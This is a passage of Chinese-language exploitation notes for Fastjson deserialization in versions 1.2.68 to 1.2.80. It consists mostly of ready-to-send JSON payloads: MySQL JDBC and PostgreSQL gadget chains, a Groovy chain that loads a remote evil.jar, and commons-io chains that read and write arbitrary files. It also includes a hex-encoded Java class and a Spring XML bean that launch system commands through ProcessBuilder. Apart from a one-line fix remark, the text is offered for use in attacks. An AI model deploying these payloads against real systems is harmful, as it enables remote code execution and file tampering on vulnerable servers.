           "\xca\xfe\xba\xbe\x00\x00\x00\x32\x00\x41\x01\x00\x49\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x62\x65\x61\x6e\x75\x74\x69\x6c\x73\x2f\x63\x6f\x79\x6f\x74\x65\x2f\x75\x74\x69\x6c\x2f\x52\x61\x77\x56\x61\x6c\x75\x65\x39\x38\x35\x32\x36\x34\x39\x66\x39\x36\x35\x62\x34\x35\x31\x66\x62\x38\x63\x39\x38\x66\x36\x35\x30\x62\x36\x30\x65\x31\x34\x34\x07\x00\x01\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x07\x00\x03\x01\x00\x04\x62\x61\x73\x65\x01\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x01\x00\x03\x73\x65\x70\x01\x00\x03\x63\x6d\x64\x01\x00\x06\x3c\x69\x6e\x69\x74\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x13\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x07\x00\x0b\x0c\x00\x09\x00\x0a\x0a\x00\x04\x00\x0d\x01\x00\x07\x6f\x73\x2e\x6e\x61\x6d\x65\x08\x00\x0f\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x79\x73\x74\x65\x6d\x07\x00\x11\x01\x00\x0b\x67\x65\x74\x50\x72\x6f\x70\x65\x72\x74\x79\x01\x00\x26\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x0c\x00\x13\x00\x14\x0a\x00\x12\x00\x15\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x07\x00\x17\x01\x00\x0b\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65\x01\x00\x14\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x0c\x00\x19\x00\x1a\x0a\x00\x18\x00\x1b\x01\x00\x03\x77\x69\x6e\x08\x00\x1d\x01\x00\x08\x63\x6f\x6e\x74\x61\x69\x6e\x73\x01\x00\x1b\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x68\x61\x72\x53\x65\x71\x75\x65\x6e\x63\x65\x3b\x29\x5a\x0c\x00\x1f\x00\x20\x0a\x00\x18\x00\x21\x01\x00\x07\x63\x6d\x64\x2e\x65\x78\x65\x08\x00\x23\x0c\x00\x05\x00\x06\x09\x00\x02\x00\x25\x01\x00\x02\x2f\x63\x08\x00\x27\x0c\x00\x07\x00\x06\x09\x00\x02\x00\x29\x01\x00\x07\x2f\x62\x69\x6e\x2f\x73\x68\x08\x00\x2b\x01\x00\x02\x2d\x63\x08\x00\x2d\x0c\x00\x08\x00\x06\x09\x00\x02\x00\x2f\x01\x00\x18\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x42\x75\x69\x6c\x64\x65\x72\x07\x00\x31\x01\x00\x16\x28\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x56\x0c\x00\x09\x00\x33\x0a\x00\x32\x00\x34\x01\x00\x05\x73\x74\x61\x72\x74\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x3b\x0c\x00\x36\x00\x37\x0a\x00\x32\x00\x38\x01\x00\x08\x3c\x63\x6c\x69\x6e\x69\x74\x3e\x01\x00\x04\x63\x61\x6c\x63\x08\x00\x3b\x0a\x00\x02\x00\x0d\x01\x00\x04\x43\x6f\x64\x65\x01\x00\x0d\x53\x74\x61\x63\x6b\x4d\x61\x70\x54\x61\x62\x6c\x65\x0a\x00\x0c\x00\x0d\x00\x21\x00\x02\x00\x0c\x00\x00\x00\x03\x00\x09\x00\x05\x00\x06\x00\x00\x00\x09\x00\x07\x00\x06\x00\x00\x00\x09\x00\x08\x00\x06\x00\x00\x00\x02\x00\x01\x00\x09\x00\x0a\x00\x01\x00\x3e\x00\x00\x00\x84\x00\x04\x00\x02\x00\x00\x00\x53\x2a\xb7\x00\x40\x12\x10\xb8\x00\x16\xb6\x00\x1c\x12\x1e\xb6\x00\x22\x99\x00\x10\x12\x24\xb3\x00\x26\x12\x28\xb3\x00\x2a\xa7\x00\x0d\x12\x2c\xb3\x00\x26\x12\x2e\xb3\x00\x2a\x06\xbd\x00\x18\x59\x03\xb2\x00\x26\x53\x59\x04\xb2\x00\x2a\x53\x59\x05\xb2\x00\x30\x53\x4c\xbb\x00\x32\x59\x2b\xb7\x00\x35\xb6\x00\x39\x57\xa7\x00\x04\x4c\xb1\x00\x01\x00\x04\x00\x4e\x00\x51\x00\x0c\x00\x01\x00\x3f\x00\x00\x00\x17\x00\x04\xff\x00\x21\x00\x01\x07\x00\x02\x00\x00\x09\x65\x07\x00\x0c\xfc\x00\x00\x07\x00\x04\x00\x08\x00\x3a\x00\x0a\x00\x01\x00\x3e\x00\x00\x00\x1a\x00\x02\x00\x00\x00\x00\x00\x0e\x12\x3c\xb3\x00\x30\xbb\x00\x02\x59\xb7\x00\x3d\x57\xb1\x00\x00\x00\x00\x00\x00",
              },
           "encoder": "iso-8859-1",
           "charset": "iso-8859-1",
           "charsetName": "iso-8859-1",
           "bufferSize": 1
        },
        "branch": {
          "@type": "org.apache.commons.io.output.WriterOutputStream",
          "writer": {
            "@type": "org.apache.commons.io.output.LockableFileWriter",
            "file": "D:/1tmp/111.txt",
            "charset": "iso-8859-1",
            "encoding": "iso-8859-1",
            "lockDir": "/tmp/test/",
            "append": false
          },
          "charset":"iso-8859-1",
          "charsetName":"iso-8859-1",
          "bufferSize": 1024,
          "writeImmediately": true
        },
        "closeBranch": true
      }
    },
  "include":true,
  "boms":[{
                  "@type": "org.apache.commons.io.ByteOrderMark",
                  "charsetName": "iso-8859-1",
                  "bytes":[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
                }],
  "x":{"$ref":"$.bOM"}
}

MysqlJdbc

关键类分析:

mysql驱动协议之loadbalance和replication-CSDN博客

出网

5.1.1 ~ 5.1.48

{
  "x1": {
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.jdbc.JDBC4Connection",
    "hostToConnectTo": "127.0.0.1",
    "portToConnectTo": 3308,
    "info": {
      "user": "d6e26c4",
      "password": "pass",
      "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
      "autoDeserialize": "true",
      "NUM_HOSTS": "1"
    },
    "databaseToConnectTo": "test",
    "url": ""
  }
}

6.0.2/6.0.3

{
  "x1": {
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
    "proxy": {
      "connectionString": {
        "url": "jdbc:mysql://127.0.0.1:3308/test?user=d6e26c4&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
      }
    }
  }
}

<=8.0.19

{
  "x1": {
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
      "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
      "connectionUrl": {
        "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
        "masters": [
          {}
        ],
        "slaves": [],
        "properties": {
          "host": "127.0.0.1",
          "port": "3308",
          "user": "d6e26c4",
          "dbname": "test",
          "password": "pass",
          "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
          "autoDeserialize": "true"
        }
      }
    }
  }
}

这里看一下 8.0.19 的调用栈:

at com.mysql.cj.jdbc.ConnectionImpl.setAutoCommit(ConnectionImpl.java:2005)
................
at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.createConnectionForHost(LoadBalancedConnectionProxy.java:399)
at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.createConnectionForHost(LoadBalancedConnectionProxy.java:446)
at com.mysql.cj.jdbc.ha.RandomBalanceStrategy.pickConnection(RandomBalanceStrategy.java:77)
at com.mysql.cj.jdbc.ha.RandomBalanceStrategy.pickConnection(RandomBalanceStrategy.java:44)
at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.pickNewConnection(LoadBalancedConnectionProxy.java:345)
at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.<init>(LoadBalancedConnectionProxy.java:247)
.....................
at com.alibaba.fastjson.JSON.parse(JSON.java:149)
at vul.MysqlAttack.mysql8(MysqlAttack.java:29)
at vul.Bypass_68.main(Bypass_68.java:10)

可以看到是从 LoadBalancedConnectionProxy 的构造方法里触发的。

不出网(结合写文件)

MySQL 还有不出网利用:先写 pipe 文件,再本地加载。

https://1diot9.github.io/2025/05/05/mysql-JDBC-%E7%BB%95%E8%BF%87/

5.1.1~5.1.48:

{
  "x1": {
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.jdbc.JDBC4Connection",
    "hostToConnectTo": "127.0.0.1",
    "portToConnectTo": 3306,
    "info": {
      "useSSL": "false",
      "user": "mysql",
      "HOST": "xxx",
      "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
      "autoDeserialize": "true",
      "NUM_HOSTS": "1",
      "socketFactory": "com.mysql.jdbc.NamedPipeSocketFactory",
      "namedPipePath": "/tmp/mysql.pcap",
      "DBNAME": "test"
    },
    "databaseToConnectTo": "test",
    "url": ""
  }
}

6.0.2/6.0.3:

{
    "x1": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
        "proxy": {
            "connectionString": {
                "url": "jdbc:mysql://xxx/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=/tmp/mysql.pcap"
            }
        }
    }
}

<=8.0.19

{
  "x1": {
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
      "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
      "connectionUrl": {
        "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
        "masters": [
          {}
        ],
        "slaves": [],
        "properties": {
          "host": "xxx",
          "user": "mysql",
          "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
          "autoDeserialize": "true",
          "socketFactory": "com.mysql.cj.protocol.NamedPipeSocketFactory",
          "path": "/tmp/mysql.pcap",
          "maxAllowedPacket": "74996390",
          "dbname": "test",
          "useSSL": "false"
        }
      }
    }
  }
}

PostgreSql

可以通过 file / http 协议加载 XML,再配合 ClassPathXmlApplicationContext

9.4.1208 <= org.postgresql:postgresql < 42.2.25

42.3.0 <= org.postgresql:postgresql < 42.3.2

{
    "x1":{
        "@type": "java.lang.AutoCloseable",
        "@type": "org.postgresql.jdbc.PgConnection",
        "hostSpecs": [
            {
                "host": "127.0.0.1",
                "port": 2333
            }
        ],
        "user": "user",
        "database": "test",
        "info": {
            "socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
            "socketFactoryArg": "http://127.0.0.1:8080/bean.xml"
        },url: ""
    }
}

1.2.80

绕过分析

漏洞篇 - Fastjson 反序列化

漏洞篇 - Fastjson 1.2.68 - 1.2.80 利用

Exception 当期望类,去找子类。

找到子类后,下面这些位置的类型,也可以通过改 JSON 手动塞进缓存,从而继续挖新的可利用类:

●public 构造方法的参数类型(含其子类)

●public 字段类型

●setter 参数类型(含其子类)

所以可以一路往下找,直到碰到能用的构造或 setter。

一般就是用这种方式,把前面 payload 里用过的类重新加回缓存,再继续打。

这里的缓存点和 47 不一样,是 ParserConfig.getDeserializer 时的缓存:

把类型和反序列化器放进 Map。

checkAutoType 里很早就取:

而 Exception 类型的反序列化器 ThrowableDeserializer,在 80 版本有这么一行:

这里会解析其他键值对;当 value 和实际字段类型不符时会走 cast,于是类里的属性也会进缓存——因为最后同样会调 config.getDeserializer,和前面说的一样:

看个例子:

// 第一次发包
{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

// 第二次发包
{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",
     "classpathList":"http://127.0.0.1:8090/evil.jar"
    }
}

这里就是把 CompilationFailedExceptionunit 字段也加进缓存。一般 "field": {} 就行,因为 {} 是 JSONObject,肯定会走 cast

修复分析

对 Throwable 子类做了判断,把从缓存取出的 clazz 清空。

jackson+io 读写文件 / 目录

很适合 Spring 环境。

缓存 InputStream

{
  {
    "@type": "java.lang.Exception",
    "@type": "com.fasterxml.jackson.core.exc.InputCoercionException",
    "p":{}
  },
  {
    "@type": "com.fasterxml.jackson.core.JsonParser",
    "@type": "com.fasterxml.jackson.core.json.UTF8StreamJsonParser",
    "in":{}
  }
}

io 链逐字节读文件 / 目录:

思路和 68 版本 io 读文件一样。

https://github.com/luelueking/CVE-2022-25845-In-Spring 脚本

https://github.com/kezibei/fastjson_payload/blob/main/web.py 出网脚本

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "${file}"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": ${data}
        }
      ]
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [1]
      }
    ]
  },
  "b": {"$ref":"$.a.delegate"}
}

io 链写文件:

{
  "@type":"java.io.InputStream",
  "@type":"org.apache.commons.io.input.BOMInputStream",
  "delegate":{
    "@type": "org.apache.commons.io.input.AutoCloseInputStream",
    "in": {
      "@type": "org.apache.commons.io.input.TeeInputStream",
      "input": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
           "@type": "org.apache.commons.io.input.CharSequenceReader",
           "charSequence": {
           "@type": "java.lang.String"
           "\x66\x6C\x61\x67\x7B\x7B\x7B",
              },
           "encoder": "iso-8859-1",
           "charset": "iso-8859-1",
           "charsetName": "iso-8859-1",
           "bufferSize": 1
        },
        "branch": {
          "@type": "org.apache.commons.io.output.WriterOutputStream",
          "writer": {
            "@type": "org.apache.commons.io.output.LockableFileWriter",
            "file": "D:/1tmp/111.txt",
            "charset": "iso-8859-1",
            "encoding": "iso-8859-1",
            "lockDir": "/tmp/test/",
            "append": false
          },
          "charset":"iso-8859-1",
          "charsetName":"iso-8859-1",
          "bufferSize": 1024,
          "writeImmediately": true
        },
        "closeBranch": true
      }
    },
  "include":true,
  "boms":[{
                  "@type": "org.apache.commons.io.ByteOrderMark",
                  "charsetName": "iso-8859-1",
                  "bytes":[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
                }],
  "x":{"$ref":"$.bOM"}
}

触发:

{
    "@type": "java.lang.Exception",
    "@type": "Tomcat678910cmdechoException"
}


// 添加setCmd方法,或参数为cmd的构造方法
{
    "@type": "java.lang.Exception",
    "@type": "Tomcat678910cmdechoException"
    "cmd": "calc"
}

最终利用类记得继承 Exception;或者在类上加 @JSONType

推荐用 java-chains 生成:

PostgreSql

jackson 依赖

1.2.75 < fastjson <= 1.2.80

jackson-core

9.4.1208 <= org.postgresql:postgresql < 42.2.25

42.3.0 <= org.postgresql:postgresql < 42.3.2

[INFO] Step1:
{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.exc.InputCoercionException\",\"p\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonParser\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",\"in\":{}}","d":{"$ref":"$.c.c"}}

[INFO] Step2:

{
    "x1": {
        "@type": "java.io.InputStream",
        "@type": "org.postgresql.copy.PGCopyInputStream",
        "connection": {
            "@type": "org.postgresql.jdbc.PgConnection",
            "hostSpecs": [
                {
                    "host": "127.0.0.1",
                    "port": 2333
                }
            ],
            "user": "root",
            "database": "root",
            "info": {
                "socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
                "socketFactoryArg": "http://127.0.0.1:8080/bean.xml"
            }
        }
    }
}

xml文件:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd</value>

                <value>/c</value>

                <value>calc</value>

            </list>

        </constructor-arg>

    </bean>

</beans>

可以去 java-chains 生成:

jython 依赖

{
    "a":{
    "@type":"java.lang.Exception",
    "@type":"org.python.antlr.ParseException",
    "type":{}
    },
    "b":{
        "@type":"org.python.core.PyObject",
        "@type":"com.ziclix.python.sql.PyConnection",
        "connection":{
            "@type":"org.postgresql.jdbc.PgConnection",
            "hostSpecs":[
                {
                    "host":"127.0.0.1",
                    "port":2333
                }
            ],
            "user":"user",
            "database":"test",
            "info":{
                "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
                "socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
            },
            "url":""
        }
    }
}

MySqlJDBC

mysql <= 5.1.48

出网:

[INFO] Step1:
{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.exc.InputCoercionException\",\"p\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonParser\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",\"in\":{}}","d":{"$ref":"$.c.c"}}

[INFO] Step2:

{
    "@type": "java.io.InputStream",
    "@type": "com.mysql.jdbc.CompressedInputStream",
    "conn":{
        "@type": "com.mysql.jdbc.JDBC4Connection",
        "hostToConnectTo": "127.0.0.1",
        "portToConnectTo": 3308,
        "info": {
            "user": "mysql",
            "password": "pass",
            "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
            "autoDeserialize": "true",
            "NUM_HOSTS": "1"
        },
        "databaseToConnectTo": "dbname",
    }
}

不出网,需要先写 Pipe 文件:

[INFO] Step1:
